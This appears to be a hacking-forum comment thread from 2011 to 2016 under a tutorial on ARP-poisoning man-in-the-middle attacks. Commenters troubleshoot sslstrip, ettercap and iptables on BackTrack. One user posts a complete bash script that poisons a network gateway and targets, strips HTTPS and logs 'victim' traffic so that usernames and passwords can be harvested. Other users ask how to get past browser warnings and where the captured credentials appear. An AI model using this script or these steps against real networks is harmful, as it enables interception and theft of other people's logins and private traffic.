Is it possible to sniff a ip outside you're own network? without the use of wireless?

Hackbo0k™ - January 31, 2011, 9:22 am

This looks so sweet, also bookmarked :D

Loop - January 31, 2011, 9:29 am

Very helpful tutorial, thanks mate. :D

EnemyOfZionist - February 4, 2011, 3:19 pm

hey can i use this method of sniffing in Vmware backtrack 4?

Mr.Feelgood - February 5, 2011, 9:00 am

How do I find the msn chat? should I type msnms in the filter on whreshark? or in the konsole?:SS
(Feb 4, 2011 04:19 PM)alom899090 Wrote: [\[CITE\]](#) hey can i use this method of sniffing in Vmware
backtrack 4?
yeah u can:D
still to short?

EnemyOfZionist - February 5, 2011, 6:52 pm

Thanks for that, o was wondering when doing this action of sniffing the network don't we have to

spoof our mac so we are invisible??

EnemyOfZionist - February 6, 2011, 9:24 am

I have been sniffing for two hours but I can't see no passwords+ username on the ettercap terminal window? hey sorry for posting to many stuff, but unread of the ettercap window showing the passwords etc it says "DCHP: [192.168.1.254] ACK : and many more stuff?

Joey Pirtz - February 6, 2011, 11:30 am

Gonna give it a go...woop

GillyWilly - February 6, 2011, 1:48 pm

Hey this is a nooby question but do you need a wireless card to do this?

Middle - February 6, 2011, 3:07 pm

You need a wireless card if you want to do it on wireless networks, but it doesn't have to be anything special. And you can do this on wired networks as well, so you don't need a card for that...

Dr.Kosm0s - February 6, 2011, 4:08 pm

Linux FTW! Great tutorial. Gotta love MITM.

ac1dxtrem - February 10, 2011, 7:31 am

<3 <3 <3 LINUX !!! <3 <3 <3

Middle - February 10, 2011, 8:08 am

YOUR BACK!!

Where were you , and damn i missed you lol <3

ac1dxtrem - February 10, 2011, 8:34 am

Wish that I could be as active as before... :(I miss HF... :(

Middle - February 10, 2011, 8:38 am

Any idea why it is banned? And is it your government, or Omni?

And i am on IRC now!

ac1dxtrem - February 10, 2011, 8:45 am

I can't come on IRC right now my girlfriend is at my place :) Anyway omni blocked it just I don't know why....

burakko - February 10, 2011, 9:51 am

Hi there its a nice tutorial i use a script to do all that stuff easy tired of typing it all the times

```
Code #!/bin/bash
```

```
echo -n "Do you want to execute Wireshark when done? If yes, LEAVE BLANK "
```

```
read -e NOYES
```

```
echo -n "Do you want to extract pictures from the pcap via tcpxtract? If yes, LEAVE BLANK "
```

```
read -e XTRACT
```

```
echo -n "What interface to use? ie wlan0: "
```

```
read -e IFACE
```

```
echo -n "Name of "Session"? (name of the folder that will be created with all the log files): "
```

```
read -e SESSION
```

```
echo -n "Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
```

```
read -e ROUTER
```

```

echo -n "Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
read -e VICTIM
mkdir /root/$SESSION/
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
sslststrip -p -k -w /root/$SESSION/$SESSION.log &
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt &
ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp
/$ROUTER/ /$VICTIM/
"$XTRACT"tcpxtract -f /root/$SESSION/$SESSION.pcap
"$NOYES"wireshark &
killall sslstrip
killall python
killall urlsnarf
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
etterlog -p -i /root/$SESSION/$SESSION.eci

```

This script only works whit Backtrack 4 an it will put the files on your desktop then you can use a text editor to find the password or the user name

craig131 - February 10, 2011, 9:21 pm

Very nice article I really enjoyed the read :D

A minor correction is that you said APR instead of ARP, not a big deal :P

Quote:Assuming that you guys read these articles you now know that always the first target when doing APR poisoning is the GATEWAY so we find the gateway with.

punish3r - February 11, 2011, 4:21 am

thank you for this tutorial

fireboot - February 11, 2011, 10:05 am

Thank , tutorial really very well

jamesbondbest - March 19, 2011, 12:48 am

i followed ur tute ...But i am having problems when i run ettercap ..

I think it may be related to ettercap conf File ...Here is file

Code ##

```

#  #
# ettercap -- etter.conf -- configuration file  #
#  #
# Copyright (C) ALoR & NaGA  #
#  #
# This program is free software; you can redistribute it and/or modify  #
# it under the terms of the GNU General Public License as published by  #

```

```
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version.    #
# #
# $Id: etter.conf,v 1.78 2004/10/12 15:28:38 alor Exp $    #
# #
##
```

```
[privs]
ec_uid = 0    # nobody is the default
ec_gid = 0    # nobody is the default
```

```
[mitm]
arp_storm_delay = 10    # milliseconds
arp_poison_warm_up = 1    # seconds
arp_poison_delay = 10    # seconds
arp_poison_icmp = 1    # boolean
arp_poison_reply = 1    # boolean
arp_poison_request = 0    # boolean
arp_poison_equal_mac = 1    # boolean
dhcp_lease_time = 1800    # seconds
port_steal_delay = 10    # milliseconds
port_steal_send_delay = 2000    # microseconds
```

```
[connections]
connection_timeout = 300    # seconds
connection_idle = 5    # seconds
connection_buffer = 10000    # bytes
connect_timeout = 5    # seconds
```

```
[stats]
sampling_rate = 50    # number of packets
```

```
[misc]
close_on_eof = 1    # boolean value
store_profiles = 1    # 0 = disabled; 1 = all; 2 = local; 3 = remote
aggressive_dissectors = 1    # boolean value
skip_forwarded_pcks = 1    # boolean value
checksum_check = 0    # boolean value
checksum_warning = 0    # boolean value (valid only if checksum_check is 1)
```

```
##
#
# You can specify what DISSECTORS are to be enabled or not...
#
# e.g.: ftp = 21    enabled on port 21 (tcp is implicit)
#   ftp = 2345    enabled on non standard port
#   ftp = 21,453    enabled on port 21 and 453
#   ftp = 0    disabled
#
# NOTE: some dissectors have multiple default ports, if you specify a new
# one, all the default ports will be overwritten
#
#
```

#dissector default port

[dissectors]

ftp = 21 # tcp 21
ssh = 22 # tcp 22
telnet = 23 # tcp 23
smtp = 25 # tcp 25
dns = 53 # udp 53
dhcp = 67 # udp 68
http = 80 # tcp 80
ospf = 89 # ip 89 (IPPROTO 0x59)
pop3 = 110 # tcp 110
#portmap = 111 # tcp / udp
vrrp = 112 # ip 112 (IPPROTO 0x70)
nntp = 119 # tcp 119
smb = 139,445 # tcp 139 445
imap = 143,220 # tcp 143 220
snmp = 161 # udp 161
bgp = 179 # tcp 179
ldap = 389 # tcp 389
https = 443 # tcp 443
ssmtp = 465 # tcp 465
rlogin = 512,513 # tcp 512 513
rip = 520 # udp 520
nntp = 563 # tcp 563
ldaps = 636 # tcp 636
telnets = 992 # tcp 992
imaps = 993 # tcp 993
ircs = 994 # tcp 993
pop3s = 995 # tcp 995
socks = 1080 # tcp 1080
msn = 1863 # tcp 1863
cvs = 2401 # tcp 2401
mysql = 3306 # tcp 3306
icq = 5190 # tcp 5190
ymsg = 5050 # tcp 5050
vnc = 5900,5901,5902,5903 # tcp 5900 5901 5902 5903
x11 = 6000,6001,6002,6003 # tcp 6000 6001 6002 6003
irc = 6666,6667,6668,6669 # tcp 6666 6667 6668 6669
napster = 7777,8888 # tcp 7777 8888
proxy = 8080 # tcp 8080
rcon = 27015,27960 # udp 27015 27960
ppp = 34827 # special case ;) this is the Net Layer code

#

you can change the colors of the curses GUI.

here is a list of values:

0 Black 4 Blue

1 Red 5 Magenta

2 Green 6 Cyan

3 Yellow 7 White

#

```
[curses]
color_bg = 0
color_fg = 7
color_join1 = 2
color_join2 = 4
color_border = 7
color_title = 3
color_focus = 6
color_menu_bg = 4
color_menu_fg = 6
color_window_bg = 4
color_window_fg = 7
color_selection_bg = 6
color_selection_fg = 6
color_error_bg = 1
color_error_fg = 3
color_error_border = 3
```

```
#
# This section includes all the configurations that needs a string as a
# parameter such as the redirect command for SSL mitm attack.
```

```
#
[strings]
```

```
# the default encoding to be used for the UTF-8 visualization
utf8_encoding = "ISO-8859-1"
```

```
# the command used by the remote_browser plugin
remote_browser = "mozilla -remote openurl(http://%host%url)"
```

```
###
# redir_command_on/off
###
# you must provide a valid script for your operating system in order to have
# the SSL dissection available
# note that the cleanup script is executed without enough privileges (because
# they are dropped on startup). so you have to either: provide a setuid program
# or set the ec_uid to 0, in order to be sure the cleanup script will be
# executed properly
# NOTE: this script is executed with an execve(), so you can't use pipes or
# output redirection as if you were in a shell. We suggest you to make a script if
# you need those commands.
```

```
#--
# Linux
#--
```

```
#if you use ipchains:
# redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
# redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT
%rport"
```

```
# if you use iptables:
```

```
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j  
REDIRECT --to-port%rport"
```

```
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j  
REDIRECT --to-por%rport"
```

```
#--
```

```
# Mac Os X
```

```
#--
```

```
# quick and dirty way:
```

```
#redir_command_on = "ipfw add fwd 127.0.0.1,%rport tcp from any to any %port in via %iface"
```

```
#redir_command_off = "ipfw -q flush"
```

```
# a better solution is to use a script that keeps track of the rules interted
```

```
# and then deletes them on exit:
```

```
# redir_command_on:
```

```
# -- cut here --
```

```
# #!/bin/sh
```

```
# if [ -a "/tmp/osx_ipfw_rules" ]; then
```

```
# ipfw -q add `head -n 1 osx_ipfw_rules` fwd 127.0.0.1,$1 tcp from any to any $2 in via $3
```

```
# else
```

```
# ipfw add fwd 127.0.0.1,$1 tcp from any to any $2 in via $3 | cut -d " " -f 1 >> /tmp/osx_ipfw_rules
```

```
# fi
```

```
# -- cut here --
```

```
# redir_command_off:
```

```
# -- cut here --
```

```
# #!/bin/sh
```

```
# if [ -a "/tmp/osx_ipfw_rules" ]; then
```

```
# ipfw -q delete `head -n 1 /tmp/osx_ipfw_rules`
```

```
# rm -f /tmp/osx_ipfw_rules
```

```
# fi
```

```
# -- cut here --
```

```
#--
```

```
# Open BSD
```

```
#--
```

```
# unfortunately the pfctl command does not accepts direct rules adding
```

```
# you have to use a script wich executed the following command:
```

```
# -- cut here --
```

```
# #!/bin/sh
```

```
# rdr pass on $1 inet proto tcp from any to any port $2 -> localhost port $3 | pfctl -a sslniff -f -
```

```
# -- cut here --
```

```
# it's important to remember that you need "rdr-anchor sslniff" in your
```

```
# pf.conf in the TRANSLATION section.
```

```
#redir_command_on = "the_script_described_above %iface %port %rport"
```

```
#redir_command_off = "pfctl -a sslniff -Fn"
```

```
# also, if you create a group called "pfusers" and have EC_GID be that group,  
# you can do something like:  
# chgrp pfusers /dev/pf  
# chmod g+rw /dev/pf  
# such that all users in "pfusers" can run pfctl commands; thus allowing non-root  
# execution of redir commands.
```

##

EOF

##

Here are snapshots when i run ettercap

[IMG]http://i55.[censored].com/i1wmdj.png[/IMG]

SNAPSHOT 2

[IMG]http://i51.[censored].com/25b1i.png[/IMG]

PLZZ HELP ME

NinjaFisk - March 22, 2011, 12:20 pm

What a great TuT for beginners! just a little bit of much shitty comments haha :P

Great job!

Skatz-Bizarro - April 9, 2011, 4:12 am

I test it, but everything is show by firefox on the victim windows, firefox dont let you log in. is there anyway to skip the security?

karimon - April 9, 2011, 2:13 pm

Awesome tut. good . Thanks for the release

ekerholten - April 28, 2011, 3:35 am

hi and thanks for a nice guide. i have one problem. on the victims pc i cant access the internet. when i press q this messages pop up

iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.

but i run it as root but im in gui mode.

pleas help

EnemyOfZionist - May 14, 2011, 6:32 am

Hi i want to ask should there be any writing in the under sslstrip, because after i do the ettercap stuff on another window after 20 minutes later i see under the "sslstrip -a -k -f" command there seems to be writing saying " the persons machine -- [Date][Time] "GET /watch?ve=HE-JSGzq7zg HTTP/1.1". Is this normal or should i start the command sslstrip again?

soysauce - May 31, 2011, 7:55 pm

Amazing tutorial. Great job explaining everything.

10halec - August 17, 2011, 10:52 pm

Thank you for the post, very informative!!

bluinblack - August 18, 2011, 5:06 am

" *sslstrip can't be installed this way so you have to install it manually. "

zalignman - October 3, 2011, 1:48 am

nice tutorial, really detailed, thanks man ?

ac1dxtrem - November 14, 2011, 5:31 pm

Have anyone tried this lately ? The apps are probably newer versions and I don't know if the same settings will work for them...

A++++ - January 15, 2012, 2:18 am

Hey OP, isn't it ARP, not APR? :)

Some confusion in me - what if the default gateway is set statically? Isn't ARP works when the host doesn't know where to send packets and asks for Default Gateway?

So if addresses are set statically it won't ask for ip/mask/def gw. Will this method even work, if yes how?

Great tutorial anyway, I'm glad to see people interested in networking.

prox8187 - January 15, 2012, 3:00 pm

Yes if course it will.

ARP stands for Adress Resolution Protocol. (wiki knows more about that than I do)

Arp is actually a little lower level than IP addresses are.

In one single line: ARP makes sure that the computers know which MAC adress belongs to who.

PC1 says; Who the fuck has 10.0.0.1 ???

PC2 says; Ow yeah thats funny , thats me its at 00:00:00:00:00.

Fire up wireshark and filter for ARP, youll see that line is crowded with ARP traffic doing exactly this.

To answer you question; Even if IP addresses are static the computers still have to know where the adress is located, thus ARP is still applied.

A++++ - January 15, 2012, 11:04 pm

Thanks, now it's clear to me. ?

leo101010101 - January 19, 2012, 7:00 pm

tut looks great but not working for me. always fail when i get to:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

tells me no such file or directory? any idea what i am doing wrong or need to do in order to fix this?

im using bt5 thank you i went looking manually and all the folders exist.

exact output is:

```
bash: /proc/sys/net/ipv4/ip_foward: No such file or directory
```

A++++ - January 20, 2012, 12:22 am

Code sslstrip: command not found

When I try to us sslstrip, I get this error. Tried to delete/reinstall, download other version, but didn't work. It's BT5. Anyone got the same problem? How can I fix it?

prox8187 - January 20, 2012, 4:02 am

You have to go to the right directory.

for example:

```
cd /pentest/bla
python sslstrip-version
or ./sslstrip-version
```

A++++ - January 22, 2012, 2:05 am

(Jan 20, 2012 05:02 AM)prox8187 Wrote: [\[CITE\]](#) You have to go to the right directory.

for example:

```
cd /pentest/bla
python sslstrip-version
or ./sslstrip-version
```

Thanks, but not that was the problem. First I had to run setup.py...

Donno why, it should be already installed on BT5. Other people also reported that error.

KurtCobain - January 22, 2012, 2:58 am

Nice tut, I might use but I'm not using linux

A++++ - January 22, 2012, 7:57 am

(Jan 22, 2012 03:58 AM)KurtCobain Wrote: [\[CITE\]](#) Nice tut, I might use but I'm not using linux
Well, that is a big mistake ?

hex0. - November 30, 2012, 10:15 pm

Does this work for everyone on the network

blong10 - December 2, 2012, 4:45 pm

Thanks works like a charm thanks man

TheFinalBlood - December 4, 2012, 3:53 pm

Thanks a lot man, well done Tutorial and works btw ;)

serkoulik - December 8, 2012, 12:20 am

Hi and thank you for the tutorial. I have done everything you say but i can'y see nowhere the usernames and passwords from the slave. Where should i see these? under the "Hit h for inline help" of the ettercap window?? Thank you.

anonmat - July 16, 2013, 4:29 am

sslstrip is installed
but when i type in

```
sslstrip -a -k -f
```

it says sslstrip command not found...

happy_banna - June 11, 2014, 8:04 pm

. Thanks a lot for the tutorial, very good explaining!

freshables - December 25, 2014, 3:57 pm

I know I am late to the party. But this is so great.

Truly these tutorials are the best ones on here;

Luffy-_- - June 25, 2015, 4:35 am

first i wanna say thank you for this great tut :)

while folloing ur steps i'm stuck at changing the etter.conf file (when i open it it's empty) any help will be appreciated

pomwtin - June 25, 2015, 12:45 pm

1) you do not have ettercap installed

2) you mistyped path to ettercap file- use "locater etter.conf"

Luffy-_- - June 26, 2015, 4:10 am

(Jun 25, 2015 12:45 PM)pomwtin Wrote: [\[CITE\]](#) 1) you do not have ettercap installed

2) you mistyped path to ettercap file- use "locater etter.conf"

i did change the etter file manually couldn't find it in the terminal but i got stuck later on i'll let you know what happened soon

pomwtin - June 26, 2015, 4:20 am

sory, i misstyped command... it is "locate etter.conf" - without additional r

Dank In The Bank - June 26, 2015, 10:58 am

OMG THE GRAVEDIGGING IS REAL

zuesein - July 12, 2015, 3:34 am

Many thanks to you sir! I will try this later

XanderBURton - May 28, 2016, 3:21 am

I can not get linux backtrack installed :/ The site says the downloads are discontinued

Trivexlimum - May 28, 2016, 3:38 am

(May 28, 2016 03:21 AM)XanderBURton Wrote: [\[CITE\]](#) I can not get linux backtrack installed :/ The site says the downloads are discontinued

Yeah and so is this 6 year old thread. Kali is the son of backtrack. And please do not gravedig.

dingo39 - May 28, 2016, 9:55 am

I knew some before, but helped me as well. Thanks man